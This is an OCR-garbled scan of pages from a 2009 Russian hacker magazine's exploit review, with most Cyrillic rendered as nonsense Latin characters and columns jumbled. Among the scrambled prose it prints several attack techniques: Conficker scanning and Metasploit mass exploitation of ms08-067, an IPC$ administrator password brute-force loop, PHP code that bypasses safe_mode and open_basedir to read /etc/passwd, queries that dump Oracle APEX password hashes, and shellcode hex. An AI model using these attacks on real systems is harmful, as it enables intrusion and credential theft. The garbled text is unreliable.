safe=l 192.168.111.0/24,

- MO)l(HO CMeno ee V1cnonb30eaTb'

r.ae script - cPJ1ar, YK33blBalOlL\;1H H3 06pal1.\eHJ,1e KcKpVlmy. KOTOpblH y%.e

ngrep -qd ethO -w single

~-script-args

eCTb 8 nocne~He~ sepCl'1li1 NMAP INmap 4.85BETA71.

pn - OTKl1lOyaeT Domain Name Resolution IDNRI.

80

ecex

coapeMeHHblX apXl'1aax l111lil 5110rax no ;1H¢'OpMa~\10HHO~6e30naCHOCTI1

-$ 900 -x Oxe8fffEffffc25f8d4fl08031c4416681394d5375f538aec69daO 4f85ea4f84c84f84d84fc44f9ccc497365c4c4c42cedc4c4c49426

n - OTKJlKl'laer nposepKY Ha npeAMeT «)t(IIlBOCTliI» XOCTa.

3c4f38923bd3574702c32cdcc4c4c4f'71696964f08a203cSbcea95

OTKfllOyeHlile BbiweHa3B3HHblX onu,V1H 3aMeTHQ nOBblwaeT CKOpOCTb

3bb3c096969592963b£33b24699592514f8ff84E88cfbcc73ff732

nplil CKaH>1pOaaHliIVI.

49d077c795e41fd6c7llcbc404cb7b040~O~c3f6c68644fec4b131

~

042

XAI(EP ~5 {1251 09


»

B::AOM

nOTOMy ,"TO. no 0l..leHKaM MeTpV1K CVSSv2, Conficker iIIMeeT «KpIo1TIo1'-leCKL-1i1»

yposeHb ypoHa (Critical! CVSS Base Score: 10.01. )..:l1111 S~I1Bf1eHVlI1 Hy;:KHQ

npo,n,eJ1aTb cJle,n,YIOw,V1e warV1'

.:I)06HOBJll1eMC>1

lopt/nessus/bin/nessus-fetch -check

nessus-iet".C':h i.s properly configured to receive a

Professional feed

lopc/nessus/sbin/ne;;sus-update-plugins

1::) V1w,eM n.n8n1H no HOMCpy 36036 \.1 npVlMeH5IeM. 4. nOAXOA c nplolMeHeHilleM yrl'1J1HTbl VI HCTwrYTa KOMnblOTepHblx TeXH01l0­

r\.1~

60HHa.

<I) CKa'--lL-18aeM 3aMe,"3r€JlbHylO ceTesylO yrV1f1my. npeAHa3Ha'--leHHylO

lllJlWbAf111 yKa331-lHoCi L1,el1l1. MO)l(1-l0 CK3,"3Tb 3AeCb - IV.

nl-

nn.

de/wghs/apolicatlOns/contalnlng-confl<.ker.

Pa60Ta NMAP no Bbl$1SJ1eHvHO Conficker

1::) 3anycKaeM KOMaHAoiii $ .Iscs2.py 10.0.0.1 10.0 0 5:

Simple Conficker Scanner v2 - (C) F'el ix I,eder, Tillrnann

f fO lbOc;282 Efb5dc:061 L4 i 9S('Oc.:717cl)7 3dOb64 fS Sd8c:707L; tcO 5 I}

Werner 2009

c7079a9d07a1661eb2e244680cb1b6u8~9abaac45de7991dacbObO

rUNKNm;'N] 10.0.0.1: No response from poet 44.S/tcp.

b4feebeb ''i:Cp port 445

[UNKNONNJ 10.0.0.2: Unable to run NecpwPachC<Jnonicalize.

[CLEP-.NJ 10.0.0.3: \.'iindo\<!s Server- 2003 R2 3790 Service

and dst net 127.0.208.0/24'

Pack 2 n·Jindmvs Server 2003 R2 5.2J: Seems to be clean. CHa,"aJ1a Te6e Hy>+::HO npOMOH iIITOPI1Tb ceTeaylO JKTL-113110CTb L-1 3anL-1CBTb

[INFECTED] 10.0.0.4: h'indm.,;s 5.1 fi"'indows 2000 LAN

KaKy1o-fH'16o ,"aeTb TpaepL-1Ka cHillepepoM, a nOTOM CKOpMI1TbAaMn ngrep·y.

r·ianager] ; Seems to be infected by ConLicke:r D.

3, nOAXOA c nOMOU\blO Nessus, nonyJ1>1pHbll1 cKaHHep To:+::e He 6YAer .m1WHiIIM.

Cyw,eeTsyeT cneu,VlOll1bHbli1 nl1arV1H [nessusorg/pLuglnsbndex

[INFECTED] 10.0.0.5:

~"'indmvs

5.1 [windows 2000 LAN

Manager] ; Seems to be infecti'!d by Conficker B or C. Done

php?vlew=sin<;lle&ld=36Q36I, KOlOPbltl n03a0I1s:ler nporHarb ace XOCTbl V1

Bbl~BVlTb ~epTBy, Me~AY

npO,"L-1M. Ha3BaTb ee «npoCTO :t::epTBoiii» Heflb351,

3. napclo1M pe3ynbT3Tbi.

msf

;>

db_create! *] The specified database

already exists. connecting[*] Successfully

connected to the databaser"') File: /.root/.

3AAA'lA, KAKCnOMOU\bIOMETASPLOITOprAHH30BATbMACCPY­

msf3/sqlite3.db

TMHr? PEWEHHE,

,lJ,1151 yCKopeHVlS'l Hawl1X TeCTOB 6y.o.eM V1cnoflb30BaTb BCTpOeHHblf1 MOflYl1b

HV1,"ero l-lenp,"",'lL-1lll·10ro :1. Maccpyrv.Hr - 3TO Macc080e 3apa>KeHL-1e MaWI'1H

NMAP'a no CeT€SOMY AVlJna30HY

c I'1Cn0J1b30eaHltleM 1tl3seCTllOiii [L-1111'1 Heill3seCTHoiiil y5l3BL-1MOCTiII. Ecnill paHbwe AJlSl opraHiII3aLl,m1 cerOAeSlHiIISl npillwJ1ocb6b1 H()nl'1CaTb ryeBy

msE > db_nmap -SS -PS445 -p445 -n

xy,"yCKpL-1nTOB. TO CMelasploil Bce cral10 npow,e. Hy:t::HOJ1L-1Wb BblnOJ1HHTb

CCC.O/24

~T

Aggressive .ll,J<..A.EBB.

HeCKOf1bKO wares. rpy3101M nOAD,ep>KKy6a3l>l sqlite3.

3. <PiIIHan ce~ nbeCbl - 3anYCKaeM MaccpyTl1Hr no y,,3BV1MOCTl-1 ms08-067:

msf > load db_sqlite3 ['" J Successfully loaded plugi.n: db_sqlite3 P,S,,lJ,11~ c60pa

2. V1H\.11..1L-12!lill3v-pyeM co3AaHv.e HOBOiii 6a3bl ,o.aHHblx:

CTaTV1CTiIIKiII no aKTV1BHbIM no.ny'leHHbIM Wef1flaM s6V1saCi

KOMaHAY msf > sessions-l.

.

"

e

,

C:,)FOR /1' "tox"n" 1.2"" %i in (pa""",,,·d.txt) " MOl'''? do nct "::,, \'\'192.168.1.1\'IPC$ %j /,,:eOI1!Mny eo."I<\'%.1"

Mo,·,,? 2»n"l....

MOl'''? as. "eho %tin,,% %d"t,,% » out.txt

MOl'''? %% "eho \'\'eor'I"",.\/_eo.,,1< acct: %i p,'s,,: %j »out,txt_

E!

A

WI''S'.! oprAHM30BATbATAKY no cnOBAPto HA3AnAPonEHHbiM PACWAPEHHblM PECYPC

PEWEHHE,

••

•••

• . II

­

...

1.COCTa811Sl€M cllo8apb AnSI aTaU1. AonyCTV1M. :no 6YAeT TeKCTOGbl(:1 ,QOKy­

MeHT 1013100 eJlOB. no 0AHOMY Ha CTPOKY. Ha30seM era passwords.txt.

2. npflMO V13 KOMaHAHoi1 CTpOKI1 cmd.exe nl1WeM cne.QYIOw,ylO KOM3HIlY.

3. PaflyeMCq 5blCTpOMy npOLl,eccy nepe6opa. P.5. Cnoce5 aKTyal1el-l TOl1bKO npL-1 ilTaKe I-la napOl1b a,l:\MI1HL-1CTparopa.

FOR

IF 'tokens=l*" %i in (passwords. txt) do net use

\\192.168.1.1\TPC$ %i /ll;,'\clministrator

XAK£P 05/1251 09

V1CnOJlb30S8HVlC 6pyn:popca Ha ,l:\pyrL-1e 1l0rl1Hbl cpa3y npillseAeT K6110KL-1PO­ S8HV11O y,"eTHOiii 3anL-1CIo1. X


>> B:: ..... OM

~

..

! ~

~

~~~

~

I os~op

~~ ~ ! ~ ~ ~ ~

~ ~ ~ ~~~~~OUT08 ~ ~ ~ I ~ ~~ 0630p

.KcnAQUTO.

..,.,

3KCnAOUT08

3KCnAOUTO.

OE:30p

3KcnAOUTOe

AHAPEI'l .SKVOZ~ KOMAPOB

•• ••• • • •••••• •••• •• •• •••• •• ••• •••••••••

••• •••• • • •• •••• • ••••• •• •• • • ••••• • • ••• •• • • • •••• •• •• ••• ••• •• • ••••• • ••

• •••••• •••••• ••••••• •• •••• •• ••

•••••• ••••

Ha ABOpe MeC5'HJ, MaVl, HO MyYeHVl5'l pa3pa60TYVlKOB B 3TY BeCeHHfOfO nopy He OCna65'1Tc5'I. Hap5'lAY CHVlMVl MYYVlTbC5'I 6YAyT Vl nonb30BaTenVl. C nOMoUJ,bfO cBeIKeVi XSS Bcero 3a napy yaCOB 6blnVl yKpaAeHbl 60nee 5000 aKKayHToB «BKoHTaKTe.py». nOcneAH5"I5'I STABLE-Bepcv15'15"1Apa Linux CTpaAaeT OT nOBblWeHVl5'l npVlBVlneiVlVl, Vl3BeCTHbie 6peHAoBbie IKene3KVl CISCO ASA/

PIX HeKoppeKTHo CnpaBn5'lfOTC5"I CeppaiMeHTVlpoBaHHblMVl TCP-naKeTaMVl, a B nocneAHeVi BepcVlVl PHP 5.2.9 n05'lBVlnVlCb HOBbie cnoc06bl 06xoAa safe_mode Vl open_basedir. BneyaTneH7 BnpOYeM, anpenbTaKIKe 6bln He cnVlWKOM POBHbIM. 3a TOT MeC5'IL.!, Microsoft BblnYCTVlna 8 BaIKHeVlWVlX 6fOn­ neTeHeVi no 6e30nacHocTVl, n5"lTb Vl3 KOTOpblX VlMefOT KpVlTVlyeCKVlVl ypOH no 6e30naCHOCTVl [MS09-009, MS09-010, MS09-013, MS09-014, MS09-011].

01

06XOA OrPAHl-1~EHl-111 B PHP 5.2.9

mfJMfU B CeTV1 5blll o6Hapy>KeH a6COllIOTI-lO HeBH>lTHbl~ KOA 3Kcnnoih3 aT

SeeurityReason !",ecL rilyrecsoncom/achlevem';t)\ exoloitalerl/l)) 8 WItl$­

mm

pOBaH\-lOM BJolAe l-1 Hepa604eM COCTOSlHl-1l'1. VlTaK. eOCC03AaeM cJleAYIO~ylO

3a,ll,3ya 06XOp,3 safe_mode V1 open_basedir Kpai:1He aKTYallbH3 IHanpltlMep.

l-1epapXl-11O nanOK !dile:>} 8 AaHHOM CJlY4ae >lBflfleT(51 nanKo,;;l·

:;lTD cyw,eCTBeHHQ orpaHV14lt1BaeT p,e£iCTBV1Sl xaKepa, .c.3>Ke npltl H3nV14i11V\

3arpyxeHHoro ee6-wen.nal. no cyrl>1, Y9.3Gl.1MOCTb 6blfla Ha~AeHa a CTOpOH­

./file:/

HeM npo.qyKTe - 6ltl611ltlOTeKe libcurl. KOTOpytO nOAAep)KWBaeT PHP. CurL­

./Eile:/etc/

V13AeCTHoe epeACTao ,[\11" S3altlMo,Qe~CTSI1" c CeTblO 11 cooTaeTCTsYIOUJ,I1Mlt1

./file:/etc/passwd/

npOTOKOflClMI1 - 'laCTO npI1MeH>leTCS1 npVl HanI1CaHVolt1 KJll1eHT-eepsepHblX

nplt1JlO)l(eHltl~ III

a nopTltlpOSC!HHOM Slt1Ae npl<1cyrcTsyeT npaKTlt1'leCKII1

B Jl1060M

,D,eflaeM cueHapll1l1 TaKoro PO,qCl:

S13blKe npOrpaMMlt1pOaaHII1S1. PaccMoTplIIM npOCTOl1 npl<1Mep Ko.o.a·

ff.!/bin/sh

curl_setopt($ch, CURIJ)PT_URL,

«file:file;////etc/pass~u»);

mkDIR("fi1e:-);

chdir ("tile:");

Bbl30B no.o.o6Ho~ epyHKUl-1lil no,o,pa3yMeaaeT no,Q co6o~ cflcAylOUJ,ee CHa­ 'lana III

Curl o6paw,aeTcS1 K,D,aHHblM BKfHOyeHHOrO safe_mod/open_basedir

np08epReT lilX npaSV1f1aMltl «fileJllletclpasswd». 3aMeYy, 4TO peanbHbliil

epai:iJl - «./fileJetc!passwd.}. npocTO

B

napaMeTpax <PYHKlJ,lt1ltl Mbl yMblwneH­

HO nOCTael-1fllll JlI1WHY1e eneWH. KaK HY1 cTpaHHo, noene TaKoi:i MaXl1H311IllYl C l.\eneeoi:i

CI1CTeMbl Bee paSHO nOK3flbHO 6YAeT C4V1T2H epa~n <dile:lll/etcl

mkDIR( "etc");

chdir ( "etc· ) ;

mkDIR("pass~!d"}

;

chdir(" .. ");

chdir (" .. ");

$ch = curl_init ();

passwd>. fOH >Ke letclpas5wdJ. CDlIlwKa HeKOppeKTHoro pacn03HasaHIIlS1

curl_setopt($ch, CURLOPT_URL,

MO)KeT npltl8eCH1 KOyeHb HenpHRTHblM nOCJle,o,CTSI151M

"file:f.ile:////etc/passwd"i;

curl_set apt (Sch, CURLOPT_HEl\DER. 0);

MfI;·fm

curl_exec ($ch};

php 5.2.9

curl_close ($chl;

~

044

XAKEP

05/125{

0'1


0530p

OI>~OP

O&30P

3KCn ..... OlJT')E;

3KCnAOlJT08

3KcnAOlJTOB

MiHMfflfij

»

E::: .•1,. 0 1"-(1

CblsaTb SblXOAHOI1 clo1rH311 Ha SIGCH LD lcl'lrH8f1, nOCblJlaeM blVt npOipaM­

nOKd Hlt1KClKom naT4Cl He BbIWJlO_ OCTClercs:l mlWb nOJlararbCSl Ha 603­

MOil!. KorAa AOYepH"111 npou,eec repMI1Hl1pOS''lHl. OW>16Ky npl14l1Cfl~ KlT K

MO;+(HOCTlt1 6e30nacHcro pe>Klt1Mc PHP lo1lt1cnORb30saTbAon0l1Hlt1Tel1bHble

Knaccy Design error l«owl16Ka S npoeKHlpOS8HV1I1>,I.

cpeACTBd 5e30nacHocn1 DC

",tft@fi CKa'-laTb 3KcnflOVtT MO;ll<HO. CKa)l(eM. C H3wero caillra no CCblflKe - ~

xakep I'Ll/post/.!. 7784/L Inux- Kernel- Loea l· Privi leqe Esca lation

llOKAllbHOE nOBblWEHI<1E npI<1BI<111E­ rl<1~ B L1NUX (3KcnllYATAIII<151 EXIT_ NOTIFYllJ

02

Fxnlrllt txt.

Peafllt13yeTCI1 np3KTl1yeCKVi Ha Bcex peAaKLJ,V1r1X Linux c k.ernel <2.6.29, B

TOM

.,Viene, AOCTaTO'-lHO 3aW,l1w,eHHblx JlVicrpl16yTl1SaX Bpo)],e Truslix Secure

3Kcnl1yaTau,ltISl YSl3SI-1t-40CTlt13aK1lI04aeTCSl B OTCblnKe Clt1CTeMHbIX Clt1rHan08

Enterprise Linux 2.0, Trustix Secure Linux 2.2. Trustix Secure Linux 2.1 ,

I

A04epHeMynpOL-4eCc.y[y>.<e lt1MelOw,eMy suid). Clt1CTN1HbIX Olrl·l<ln08

Trustix Secure Linux 2.0, V1CKJlKl4eHl1e COCTaSlll1CT Linux kernel2_6.29 -git14.

I

COo6w,eH~1~ cyw,eCTsyeT 04eHb MHoro; HapSlAY CHlt1Mltl eCTb el.l.\e HeKl-le «cno­

1II111ll

C06HOCTlt1» lcapabilitiesl. no CyTl1, :no npl1sl1J1erl1lt1 nporpaMM cOBepwaTb

MiHffifflfij

KaKlo1e-flL.160Ae~CTSlt1Sl: OTKpblsaTb RAW-coKeT. Vi3MeH>lTb Sna,[leJlblJ,a ¢a~Jla,

YSl38lt1MOeTb yCl paHSlerCrI Mo.a.~qmKal.-4l1eilll1cxOAHOro Ko~a ~JJ,pa B

nepe3arpy:>KaTb KOMnbIOTep, nO,ll,rpY)Ka"rb MO,[lynlt1 \1JJ,pa l1 TaK p,aflee_ ECTecT­

eooTBeTcTsYKll.L.le(.i ¢YHKlJ,l<iI1:

seHHO, MHOrl-1e 113 3TIt1)( «cnoc06HOCTeM" Vi 6fll13KO He HY)KHbl

B

WTaTHOM

co$Te, I1Haye 1'13 HI'IX nOflY'-l3eTCSi H3CToSiw,ee opY>Kl1e Jll160 3J10HaMepeH­

diff --git a/kernel/exit.c

Hbll1 co¢r AJ1Si YAep>KaHlt1Sl npV18ViJ1erlt111 B CViCTeMe IVinlt1 H306opOT - nOp411

b/ker.nel/exit.c

u.y)l(oro l1Myu..I,ecTsal.

index 6686edl .. 32cbf26 100644 (file)

HaYHeM CKp2TKoro 0630pe HaV160Jlee 8a>KHb1X «B03MO>KHOCTel1»

no 8 cpeJJ,e

Linux: CAP_SETOID CMeH5rT:E:o

ynpaDJUle1' cnoco6HOCTblO root' OBb/X rrporpaMM

nOl!l~30BaTeJ15r,

CAP _SETGID -

CMeH5i'I'b rpynr;y,

pa601'ae1',

no,D.

ynpaBJL>leT

KOTOpblM

pa60TaeT npOrpaMM(l

--- a/kernel/exit.c +++ b/kernel/exit. c @@ -837,8 +837,7@@staticvoidexit_notify(struct lask_ struc:t *tsk, int group_dead) '/

CI10C06HOCTbl) root' OBbiX rrporpaMM

if (tsk->exit_signal ! = SIGCHLD && ! la5k_

no,l:l KOTOPO>1 pa601'ae1' oporpaMMa. TaR

Hanp~Mep,

httpd, sendmail, postfix, ftpd,

safe_finger CAP _HIDDEN - cnoco6HOCTb npo['paMM .rtendTbC5I B Cnv,CKe llpoueccoa. He 13n.l19..8T

HeB.I1.rt>1MblM~1

detached(tsk) && (tsk->parent_exec_id != ts}:::->real-parent->self_ exec_id

Ha Bce rrporpaMMbI

It tSk->self_exec_id != Lsk->parent_exec_id) &&

!capable(CAP_KILL)l

CAP_INIT_KILL - cnoco6HOCTb y6101BaTb npo~ecchl-noToM­ KY! npouecca

ini t.

K TaKY1M OTHOC5lTC$[ npdKTH'ieCKJ1 Bce

tsk->sel f_exec_id ! = tsk->parent_exec_id))

+

tsk->exit_signal = SIGCHLDi

.neMOHf>l

cnoc06HOC'1'bKl KopHeeot1. KaTdnor .en$[ TeKywero shell' a

CAP_SYS_CHROOT - y!TpaBITReT

CAP_FSETID tofJ1l'I

3arrpe~\aeT /pa3pewaeT

YCTduaammdTb

yCTdHOBKy SUlD' Horo

SGID'HO['O 6Vl'7d Hd 'lylli:lIIX <j)aHl1dX (He

signal = tracehook_ooLl.fy_death(tsk, &cookie,

group_dead} ;

npYlHd.unelflaWl1X

root'y)

http://patchwork.kerncl.org/paLch/16544/

KOe-KaKl1e 113 3Tl1X 603MO)l(HOCTel16YAeT nOfle3HO KOHTpOfllt1pOeaTb. DAHO lt13 CpeACTS, opraH~3ylOl1.\""X KOHTpOJ1b - 3TO LIDS ILinux Intrusion Detection Systeml. OHO npe,D,CTaBMleT c06011 naT'-I SlApa. 3Hau.l-1TenbHO nosblwalO!..:J,11116€30naCHocTb npv. pa60T€ c OC IYI'ITai:1- aHanor npoena grsecurity, He Ta'< ",a6HO onl'lCaHHoro Ha CTpal-ll'll.-4ax I I . 3aHl1MaTeflbHa~

03

PACKPblTI<1E X3WE~ nAPOllE~ B ORACLE APEX

mE

oco6eHHOCTb LIDS STOf.{, 4TO Ha'J,€J1eH OH He (OeCeM Hi! KOHTpOllb,D,e~CT~

APEX -

el'1i1 nOJlb30BaTeJlSl [3TO MO)l(HO CAeflaTb 1'1 WTa rHblMVl Cpe,D,CTBaMlt1 Linuxl

DB. npe,D,HCl3HaYeH AMI C03AaH\1Sl WEB-npl1flO>KeHl1i1I1I1CnOJlb3yeTc~

11 .ua)l(e He Ha o6Hapy)l(eHIi1e ceTeBblX aHOMaJILIiI1, a Ha n pe,D,OTSpa l.L.leH Vie

KayeCTSe ¢peI1MBOpK3. )J,JlH ::noro OH YCTaHa8fl1<1BaeTC~ S HenocpeAcTBeH­

1-13BeCTHbl(:i npoeKT Oracle, paHee H83bISaSWl1i1cSl Oracle HTML­ S

lt1Hll,I1AeHTa. KorAa 3n::JYMblWJleHHVlKY y)Ke y,D,aflOCb n p06paTbC>l B ClIICTe­ My 11 Aa>Ke nonY411'b npIi13\.1flerl1l<! root"a. no cyrl<!, 3TO 3al.L.ll1Ta OT He>KeJla­ Tel1bHblX {<root>l-Ael~";crBl'1i:-i, KOropbl€ MO)KeT Bbl nOJlHIo1Tb xa Kep. 3aXBan1S cloICTeMy. Tbl3apaHeeonpe.QenSleWb Te .aei:-iCTBIo1Sl, KOTOpble, ,Qa)l(e 6YAY"UIi

PeJlKl'111 cflY4a~, KOrAa Safe Mode Ha XOCTe OTKnI04eH, a cURL - c06paH_ C He.o,aSHlIIM nOSlBJleHlt1eM cnoco6a o6xo.o,a ::n014 eplt14l'1 Ha3BaHHble sel..l..(l1 Apyr Myra KOMneHCl'1pyKlT

nbSlHblM, Hl'1Kor,o,3 He ncnpo6yewb VicnOJlH\IITb. V1 OTKllIO'-lIo1Tb MO,o,YJlb MO)KHO, TOfloKO BBe)],>! )],o6aBCYHbI~ napOJ1b. YCTaHOBJ1eHHbl~ 3,D,MlIIHlIICT­ paTopOM. O)],H8)f(Abl, VI3YY8Sl B03MO>KHOCH1 ,lTofj CViCTeMbl, Sl peWl1f1 nowynnb H8,o, CBO~1M KOflflero~ - 38 npeTV1Jl nepe3arpy3Ky CViCTeMbI (oTKll104eHlt1e CAP _SYS_BOOTl.

np::lViCwe,o,wee )J,Ollro np\llBO,D,lt1!lO ero

-....__ -__­... __­........ ...

BMeCTe CKOflJleKH1BOM a HeAoYMeHv,e. npVi HaCTpo~Ke KOH¢l1rypalll-1l1

'"'-...

Cl1CTeMbl Tbl npoCTo OTMe"la€Wb B KOH¢v.rax LIDS :;IHI nYHKTbl nJllOCaMlt11o\

", "'

MV1HycaMlt1, nOCJ1e '-Iero nepe3erpy>KaeWbCI1, CAP_KILL BKl1IQ4aeT Jllt160

""

OTKnfOyaeT cnoeo6HoCTb root" 08blX npou,eeeoB y6i1SaTb "'y)l(lt1e npou,eCCbl

;§§E§gi~r.:

\1,

COOTBeTCT8eHHO, npeo,D,OJleaaeTcYl1.\eCTBYIOw,v.e OrpaHt14eHI1Sl Ha

OTn pa SKy Cl'1CTeM HblX Cl'1rHSnOB. OW146Ka COJlep)f(V1TC~ B cPYHKl.-4l1l1 eX1t_ notifyll [linux/k.erneVexit.cl. nepe.o, 8blXO,D,OM spe.o,oHocHoe npl1J10)l(eHl1e MO:>KeT SblnOflHI1Tb setuid. 3TO 6Y,l:\er 03H84aTb, '-ITO Mbl He 6yJJ,eM c6pCl­

XAKEP 05/125/ 0'

-E:::=:':=:;:--'"

-_.=--­

- ...~.::!::.~----:r=o-~-­

.

.~-_

.iJ

'.'Z'

~

045


..

.." .

E:::AOM

OS~OP

3KCnAOUTOE:

~

L~~

0530p 31<CnAOUT08

,4t'@'1'Y!ii¥!i'.!.jij,hi§4Wb wi ., E:'e tdl Y!eW HltOfY

<40 .•~ . lIjl'

h'

lools

Ed"

,... ...J.QI.:q

~

(i'; III -....,;.== ......=-='=-==~=. ::;::';:;I>:;J

:rcJ·E­

~1:!tlI

'"'."

mm··

~j ,llC})·j

.~~~=

, 0 AdminislrUO<1

" "'<lnag8 seflliees " Manage Allpll(;<lIIGfI

ExprusVs",s

"i')L Wo,kShol'

;\!,!,!!~.'tIQII g"il<fe'

...

:6".%~<lE.J"~~I'"~~

lr.noO.8uI~~r

~7:£=--~

EI

OASO'6t4atiDngUd.••

ORACLE' Application Express

~-:--~

I <>

~1

I <>

" WOllilorAcIivilV Cn;onOll P;lsswo,d Abovt~<i."O~.E.~

~ t::ll m::lll!

U1,lllI'~

?tn' &! jf ; i

IJ1Hbll1 Cni1COK.i(B03Mo)f(j.;oC'ret1~nOHa LinUx.:CO~I?)KLitTC51 a'ina "

Hoiii CB>l3Ke c CY6,JJ, Oracle, Apache V1f111 BcrpoeHHblM WEI:3-cepsepoM B

3t~c.nAOIJTOE:

1\ 1\

CJ -..» Cll'N't."""",,,_·s... EJ o.-odo~se ... 8

~~~;i~:~€~': E"-:::--~ ~~~~::

~

06::0p

HeKOTOpbl€ peAaKllV1V1 Oracle Database [Express Edition, Knpl1Mepyl

Embedded PUSQLGatewayIEPG).

~pl,~alion

Expten

Discussion Forum " Appllc;;tion Elqlfen qn OTN o Download Applinlion Expfess

13 "'" I

Q~aEr_

ttI;t#Jl:rJ

Oracle APEX co6CTseHHol7! nepcoHo(;i

npo6neMa B TOM, YTO nOflb30BaTeIlbC HeAoCT31o'<HbIM\1 AJ1513TOrO npaeaMIo1 MO%eT o6paTlo1TbCR K cneu,V1aflbHO

3a pen1cTpVlpOB3HHbi M npVlJlO)l(eHVI€M

Ta611V1LJ,3M, noelle 4ero - Hanp51MylO 3anpOC\l1Tb,QaHHble ,[lpyrV1x nOllb30Bu­

FLO~S_030000.w¥N_FLC~_USERS_PASSWORD_LI?ESPAN_ACCESS~S

Teneiii.

FLOV1S_030000 . ~~.,rv _F'i..C)W_US8RS. PASSWORDj,CCESSES_l.EF'1' PLOWS_030000.~~~1_PLOW_USERS.PASSWORD_DATE

M#fu@

~ 3a0I11)(--J.eM X:3;:H1

BblnOllHVlTb nO,QKll1Q4eHVle K 6a3e VlJlI1 nonyYVlTb 803MO)KHOCTb V1cnonb30S3­

SQL> select user_rlalf:e,web-passNord2 [rom F'LOWS_030000.

HI1513anpOCoB

\~~r'J

K Helit-

BOT 0AHa

1'l3

Halt160nee S3)1(HbiX 3aAa4 Am, peaJllo13a­

LJ,Vllt1 Y5138\11MOCTlt1. TpaAlt1lJ,lt10liHO 8 KayeCTBe cpe,QCTBa nO,QKnlOyeHVlR

FLOW_USERS

K Oracle

MO)l<HO >1Cn0l1b30eaTb sqlplus (orarle cornltechnology/lech/;,ql olus/index

USER-NAME l'iEB_PASS\llORD2

htmlL II ShlnOJiH5:!€M

YURT 141FJl..790354FB6C12 802FDEA863 53F31

nO,D,KJlk>4eHWe

sqlplus login/pass

nony'leHHble X3WVI MOrYT 6blTb npOaHaJlL13l-1p083Hbl C nOI-:OU\blOymlllt1T /I

3anpaWt1Bct12M

~I'l"O

TeKywee Hil.We CO(:TOj1HVle

I-l

y6e:+:.ndeMc51 B 'I'OH.

spoAe Repscan.

1·11X nOJ,lKJlt:l"leHbl

SQL> select gr.;mted~role from user_t"ole-privs;

MHHW BepCVH16a3nl c nOAKll~'<CHHbIM Oracle APEX

» 3il.HpaWWaaeM HOB!>lBCl>'lCb Ha

!:leI:) j'lHQlOPMC'lt.<MIO 0 sna..uenbue w: Ta6.rnIUdx. oc­

H3BeC-!'!"IOM

fUiHmfflfil

A:>8X

SQL:> select OlrJner, table_name from

all~t.ables ''''here

KOMn3HIo151 cBoeBpeMeHHO BblOyC rf1Jla Ha60p Io1cnpJSneHf111 «Oracle CPU

owner='FLOWS_OJOOOO';

April2009».

QWN:t;R

04

TABLE_N,h_~E

FLQldS_030000 1,\'i',TV_FLOvCDUALlOO

FLOJ.o.1S_030000

nEPEnOJlHEHlifE KYYlif B MS sal SERVER SP_REPlWRITETOVARBIN

IDB·

;;~1N_FLOW_LOV_TEMP

nepenOJlHeHl-1e HaL71,l.\8HO 8 OAHOC1 1-13 npOlleAYP MS SOL Server, Ys:l3Bf1­

FLOWS_OJOOOO vrwv_f'LOW_TEIolP_1'ABLE

MOCTb n03B0J1s:leT nOJlb30saTe.nlO Bbl3b1BaTb OTKa3 B o6:::J1Y)K~H:JaHl-1V1 /! 3.;tl1pfl.Umaao2'M cnMCOK Me-c'r, cO,D,ep:;.;aIllHx none «~'ass>"ord»

SQL> select o\.,rner I It. ' I I table_name I I ' . ' I I column_name

6a>KH0I1 npou,C.Qypbl

from all_tab_colullln.s vlhere column_name 1 i ke

A3HHbl(' 3a rp3Hl-1u,aMVl6ycpepa

'%PASSr,~'ORD?6'

fiVl60

VlcnonHVlTb np0V1380JlbHble KOMaHAbl Ha YA3JleHHo(:i Cl-1CTeMe nyreM 8bl30B3 C aHOManbHblMl-1

napaMeTpaMlt1, KOTopble 3anlt1wyr

and owner like' %FLOWS_0300%' ;

"'61i.Qill OWNER! I'.' I ITABLE_NAME I f'.' I ICOLUMN_N~~E

nO,D,sep>K8HHble npOAyKTbl: Microsoft SQL Server 2000 SP4. 8.00.2050, 8.00.2039 l-1 eU\e 60nee paHHl-1e sepcl-1I1, SOL Server2000 Desktop Engine (MSDE 20001 SP4; SQL Server 2005 SP2 [.9.00.1399,06 BI(J1IOYl-1TeJlbHo], Sal

FLOWS_03 0000 . hWV_FLOW_USERS . CHi\NGE~PASSWORD_ON_FIRST~USE

°

Server 2000 Desktop Engine (WMSDEJ.

FLOWS_030 00 . v!WV _Eo"LOW_USERS. fIRST_PAS.%'ORD_USE_OCCl/RRED FLOW5_030000. v..!VI1"v_F'LOW_USERS. WEB_PASSvlORD_RA\ti

~

MMtffiij

FLOWS_030000.WWV_FLOW_USERS.WEB_PASSWORD2

60C80C1 KO,Q 3KCJ1J1QYlTa oepopMJ1eH BBI4,Qe ASP-npl-1J10>KeHl-1s:l. KOTopoe

FLOWS_030000.~/_FLOW_USERS.WEB_PASSWORD

opraHl-13yeTYeTblpe 3anpOCaAJl513anItiCl-1 yeTblpex 6aVlToB BYY3CTOK naM~Tl-1,

nol-.'s

npl-1ro)J,Hbl~

046

030000. 1!J"i'N_FLOW_US:t;RS. Pi\SSWORD_LIFESPAN_DJ\YS

,afls:l 3Toro. a 3aTeM I4CnOllb3yeT 3TO a.opeCHO(? npocrpaHCTBOAMI

XAKEP 05 /125f 0'1


..

0630p 3oKCnAOUTOB

-

O'S30p

OE30p

3:KCflAOUTOB

3KCnAOUTOE:

••

"

rl,;O

----­

,•.----::::-.:----=:J I

_ .......

_ _ _ ""t::!

.... _

0I<Ul1

......... _

..-.

~

Dnfl{

YcneWHoe nOAKIlIO«eHl4e c nOMDl.L.\blO sqlplu5 K6a3e Orade TDnb He e30naCHYlO BHyrpe HIOIO n 0 enOJlb30SaH14H Bee Be

CT 14T

e

e4 0 nonblTK

nepe3am1C01 YKa3aTeJ15=l ¢YHKLI,VlIil. Ba>KHO nOHIIlM03Tb, "ITO JKcnIlQl<1T He I1MeeT

HIIlKaKo!il ueHHOCTL1, eCfllll xaKep He RBJ1ReTCR ,ll,OSepeHHbIM n0J1b30eaTefleM.

B .ne¢OJ1TOBO~

KOHcP"'rypauwlI3aRBfleHH3R xpaHIilMaR

npou,eAypa AOCTyflHa

Ka.>KAoMy aSTOplt13I1lpOeaHHDMy 8 6a3e nOJlb30GaT0J11O. ,AmI Toro, YTo6bl 3TO VlcnpaBIilTb, MQ}l(HQ Bblr,OJlHI4Tb Cl1e.o,yIOLlJ,IIl\13anpOC Ha

T-Sal:

EXECUTEmaster.dbo.SP_DROPEXT~NDEDPROC

'sp_

replwritetovarbin'

Ecm-t oHa, npaBAa. l.1MeeTCR, -

